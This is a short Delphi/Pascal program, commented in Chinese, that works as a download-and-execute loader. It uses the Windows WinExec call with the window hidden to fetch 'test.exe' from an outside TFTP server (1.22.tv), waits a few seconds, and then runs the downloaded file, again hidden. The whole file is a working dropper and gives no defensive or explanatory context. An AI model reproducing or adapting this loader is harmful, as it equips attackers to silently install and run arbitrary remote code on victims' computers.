program FDTester;
//配置部分
const
Server = '1.22.tv'; //tftp 服務器 域名或IP地址
ServerFileName = 'test.exe'; //在服務器上的文件名
MyFileName = 'C:\test.exe'; //下載到本地以後的名字
WaitTime = 3000;//下載延遲時間(毫秒)
function WinExec(lpCmdLine: PAnsiChar; uCmdShow: LongWord): LongWord; stdcall;
external 'kernel32.dll' name 'WinExec';
procedure Sleep(dwMilliseconds: LongWord); stdcall;
external 'kernel32.dll' name 'Sleep';
begin
Winexec('tftp -i '+server+' get '+ServerFileName+' "'+MyFileName+'"',0);
Sleep(WaitTime);
Winexec(MyFileName,0);
end.